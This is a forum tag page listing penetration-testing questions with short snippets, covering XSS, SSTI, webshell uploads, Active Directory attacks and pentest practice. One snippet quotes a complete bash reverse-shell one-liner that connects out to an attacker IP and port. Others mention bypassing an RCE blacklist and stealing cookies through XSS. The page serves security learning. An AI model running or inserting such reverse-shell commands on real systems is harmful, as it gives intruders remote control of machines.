Questions tagged [penetration-test]
An attempt to penetrate a system's security in an effort to evaluate the protections in place.
1,255
questions
0
votes
0answers
13 views
Detecting XSS when Payload is only Triggered on Another Page
I am trying to detect the presence of a blind/stored XSS vulnerability of an input field. The vulnerability does not trigger on page 'A' where the payload is injected.
It is likely due to the fact ...
0
votes
0answers
45 views
Need help attacking my ethernet network [closed]
I'm forming a start up and want to make sure my COMPUSEC/COMSEC is airtight. We work with a lot of sensitive customer information (think SSNs, bank accounts, etc.), NDAs, and government contracts. At ...
0
votes
0answers
35 views
sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response
This is the reverse shell I'm using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+
It used to work just fine and I'd ...
0
votes
0answers
23 views
cookie forging: How to replace session cookies
I am working on a pen-testing challenge, where I want to see if the session cookie can be forged by leveraging the vulnerable flask application (i can't disclose the url due to agreement).
I have been ...
0
votes
0answers
40 views
Ignore blacklist characters and keywords in SSTI exploit payload
I'm exploiting an SSTI (server-side template insertion) vulnerability in a website written in flask-python.
My problem is that payload for RCE is being limited by blacklist.
I tried everything with a ...
0
votes
1answer
47 views
Benefits of same origin policy
I am trying to understand what does SOP mean? If there are two sites such as example1.com and examole2.com what are the dangers can one of them cause to the other? Like stealing what, received what?...
1
vote
1answer
56 views
Some introductory reverse engineering help on finding a string
I understand the crackme I am researching is from 2007, however this was the point in my life when I initially became interested in reverse engineering and wish to complete it for nostalgia sake. ...
0
votes
0answers
53 views
Configure the Metasploit SSH client to support `aes256-cbc`
I am trying to set up a vulnerable machine running freeSSHd 1.2.6. The Metasploit exploit module fails with the following error:
Server encryption_client preferences: aes128-cbc,3des-cbc,blowfish-cbc,...
0
votes
1answer
64 views
Verifying IP addresses during pentest
When conducting an external pentest and the scope is broad covering everything owned by the client, how would you verify if the enumerated IP addresses belong to a client? Running 'nslookup' on the IP ...
0
votes
0answers
47 views
Requiring Google Mobile Service token
I'm pentesting an android application written in Cordova and while inspecting the network traffic I found some interesting endpoint that I would like to test.
However, this endpoint need a tokenID (ex....
0
votes
0answers
60 views
Is it possibile to interact with firebase database using credentials obtained from an APK?
during the static analysis while pentesting an android application I found the following information to connect to a firebase instance.
<string name="google_app_id">1:**REDACTED**:...
0
votes
1answer
80 views
Should analytics cookies be HttpOnly?
Should ga gid gat and Fbp cookies be flagged as Secure and HttpOnly?
Is there a way an attacker can use them if accessed?
0
votes
2answers
158 views
Why is it not worth to exploit a search function on a website
I have a website that has a search function that uses the GET method.
It returns in the url that "www.xxx.com/query?=something"
Would like to seek opinions on why such a function is not ...
0
votes
0answers
37 views
cannot connect to wifi in the captive portal stage in fluxion?
so while using fluxion, something strange (maybe not) happened,i've captured the handshake and try to penetrate the same wifi with a captive portal attack, fluxion created a duplicate wifi ,that's ...
3
votes
0answers
77 views
Does Windows Server ship with any sensitive images in the filesystem?
I'm working with an interesting vulnerability I found which enables local file inclusion (LFI) on a target server. In summary, there is a PDF generation API endpoint which accepts an HTML string as ...
1
vote
1answer
80 views
How to perform external network scans that will not cause DoS?
What are some tools or techniques that could be used in external network penetration testing to perform safe scans only that are designed to cause no DoS (Denial of Service) or other interruptions? Or ...
0
votes
1answer
173 views
How to pentest oAuth2/oidc clients
imagine the following problem:
As a developer, I would like to check if my oAuth2 or OpenID Connect client is really secure.
I would like to check if it validates the JWT signature, uses the nonce etc....
11
votes
2answers
4k views
Tips on performing a web penetration testing on a static website
No idea where to begin, I would like to ask for tips, direction and approaches when it comes to performing such a web testing.
Source code analysis is not within scope for this test. I intend to run ...
0
votes
2answers
116 views
CSRF attack when form data isn't parsed
How can you do a CRSF attack on express if it only accepts JSON?
Sample Node app:
const express = require('express');
const app = express();
app.use(express.json());
app.post('/item', (req, res, ...
0
votes
0answers
90 views
Uploading php webshell using Burp Intruder
I am using Burp Intruder to upload a webshell to different directories.
These 400 responses tell me the requests are bad. I should be getting mostly 403 responses or maybe if I'm lucky the goal ...
1
vote
1answer
85 views
Ways to exploit AD in context of Domain Computer account not as Domain user account?
There are hundreds of articles if we search "how to exploit AD Environment?" but if you read them, you will find that every article focuses on the context of the domain user Account.
Now I ...
2
votes
1answer
1k views
Stored XSS Cookie Stealing - shortest payload
I'm testing a web app (for which I have permissions) and I found a stored XSS vulnerability.
It is a little bit tricky to exploit because the input:
is being capitalized
it has a length constraint of ...
1
vote
2answers
134 views
What is a secure way to log onto the domain controller?
On a pentest we found that a kerberos ticket under account name administrator was cached on one of the SQL database servers, which allowed us to steal the ticket, pass-the-ticket and log onto the ...
14
votes
2answers
3k views
SQL injection inside XSS
Is it possible to perform an SQL injection inside an XSS attack?
And if so, where can I find information on this or some examples?
2
votes
1answer
159 views
Identify crash-inducing NVT in OpenVAS
I'm currently scanning a network using OpenVAS / Greenbone Security Assistant installed on Kali Linux.
During the scan, multiple targets have crashed. This is obviously something I want to investigate....
1
vote
0answers
72 views
How to pentest a java application run through webswing?
I need to pentest a Java application through webswing. webswing allows running a java application in a web browser but how to pentest this?
I didn't find any documentation about this actually. With my ...
3
votes
1answer
102 views
How to create custom exploit https requests to test a PHP framework [closed]
I am working on the auto-routing functionality of Codeigniter 4 and I'd like to test it by sending some nasty exploit-type HTTPS requests to make sure it properly resists mischief. E.g., request a uri ...
0
votes
1answer
54 views
How to handle as a Tester if the website is kicking out the user for recreating the session?
Suppose a website is logging out the user after some time to re-create the session and start using the website. As the security tester, how will you handle this situation? Isn't it frustrating? Yes! ...
1
vote
0answers
88 views
Automating Clickjacking Attack
I found a clickjacking issue in a site and the site security team said me that i would require unusual user interaction. So I wrote a code above the iframe but I was not successful in achieving it.
...
0
votes
0answers
90 views
RCE on a server running nodejs
I've analyzed an app where I've found different vulnerabilities.
I could upload/overwrite, delete and download anything. All critical vulns, but I didn't know how I could get rce without making ...
0
votes
0answers
180 views
How can I test if/how STIR/SHAKEN is working on my incoming calls? Both for detecting spoofed caller ID AND [bad sources]
How can I test if/how STIR/SHAKEN is working on my incoming calls? Both for detecting spoofed caller ID AND calls from disreputable (NON-'A' attestation) service providers/carriers/sources.
I'm ...
2
votes
2answers
250 views
Why is the first step for an attacker to get Reverse Shell after getting RCE?
If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell?
Even though I can run system commands, then why do I ...
0
votes
1answer
118 views
how to do a pentest to /assets/js/login.js [closed]
Hey guys this is my first question in this kind of platform. I made a pentest a vulnerable machine this is like a web page video content there are not much target vectors. In my attack a detect only ...
0
votes
0answers
56 views
Is it possible to know the keep-alive time supported by a web server?
I'm testing a web server that may be vulnerable to denial of service because of the time server keeps alive conections of the clients, I found that in a qualys report I launched against the webapp. I ...
0
votes
0answers
188 views
MQTT - Man in The Middle Attack
I'm trying to perform a MiTM attack using Ettercap.
where i'm trying to publish a message to topic "A" and using ettercap trying to replace topic "A" to topic "B".
MQTT ...
0
votes
0answers
82 views
Pentest methodology for industrial solutions PLC/DCS/Control Servers
which methodology of pentesting for industrial soltions (DCS/SCADA/PLC/Cotroler Servers network with OPC connectivity) would you recommend to apply?
0
votes
2answers
93 views
When can I start security test in an agile environment? [closed]
I have a web application and we are working in an agile environment, and the QC team working and need to run security testing. When I can run the security test?
I searched for this topic and can't ...
20
votes
3answers
4k views
How can we safely allow a client to perform penetration testing?
A potential client is planning to do penetration testing on our SaaS.
Is it standard or fair for us to request things like the following?
An NDA from the pen tester
Details on who is performing the ...
1
vote
1answer
244 views
Safe sharing source code with 3rd party for security review?
I work at a small software company, and we are working with another company that wants to use our software. However, their InfoSec team want us to have a 3rd party source code review completed, with ...
2
votes
2answers
233 views
Is using PBKDF2 good protection against brute-force attacks on web application login pages?
We've recently had a penetration test for one of our applications.
The Penetration Testing company identified that our application lacks protections against brute-force attacks on the login page.
Ref: ...
1
vote
1answer
118 views
GraphQL endpoint security testing
I am working with a team who is developing a mobile app for which they are using GraphQL.
So as part of performing security testing it, they only shared the graphql endpoint and nothing else.
Not even ...
0
votes
1answer
62 views
.local domain any possible ways in getting the extension
I was recently working on Broken link Hijacking and found a link in a target which reflected on multiple pages. It was portal.REDACTED.local which was not accessible and returned response as bad host.
...
0
votes
4answers
182 views
Application is validating the file extension but not file content - Is this a security vulnerability?
An application has a file extension validation at the server side and rejecting the request if the Extensions are not matching to (.pdf/.docx). But if i modify an exe file's extension to .pdf and ...
2
votes
0answers
72 views
Java - Ultra Light Client (ULC traffic inspection)
I'm working on security assessment of thick client application created using ULC. It is black box approach.
Based on wiki (wiki.c2.com): "Ultra Light Client (ULC) for Java is a widget set that ...
1
vote
1answer
72 views
Verifying the security of SAML SSO
I run an instance of a log aggregation product in the cloud, installed on a VM. I've strictly configured it's networking settings, internal firewall, internal port redirection, strong admin password, ...
0
votes
0answers
65 views
Bash - SUID Program's Child Process did not inherit Parent Process UID as EUID [duplicate]
Background
In practicing pentesting a VM on Vulnhub I encountered an issue that is quite interesting with Brainpan. After initial access with a limited shell generated from a BoF exploit on a service ...
0
votes
3answers
341 views
How to share penetration tests results + remediation plan to third party companies without exposing one's self
We are integrating our services with 3rd party companies (ie customers are able to buy the products of third party companies on our platform). These companies are asking us to provide to their ...
-1
votes
1answer
168 views
OWASP ZAP: How to Test on AWS + Magento? Which guidelines must be observed? [closed]
I am supposed to do a test for AWS. But since AWS has limitations, probably also in the direction of DDoS and other points, what does a corresponding test scenario look like?
It is about a Magento ...
1
vote
1answer
102 views
Is nonce useless when user input is reflected within an inline script?
I stumbled upon a web app which is accepting user input and putting it into a variable within script tag.
The script tag does have a nonce attribute.
As am working on bypassing the XSS filter, I had ...
0
votes
1answer
324 views
windows 10 showing me that bWAPP contains a reverse shell
i have downloaded bwapp from official site and windows 10 defender showing me that it contains a reverse shell ( i know these things are there for practice ) but in earlier days it is not showing that....
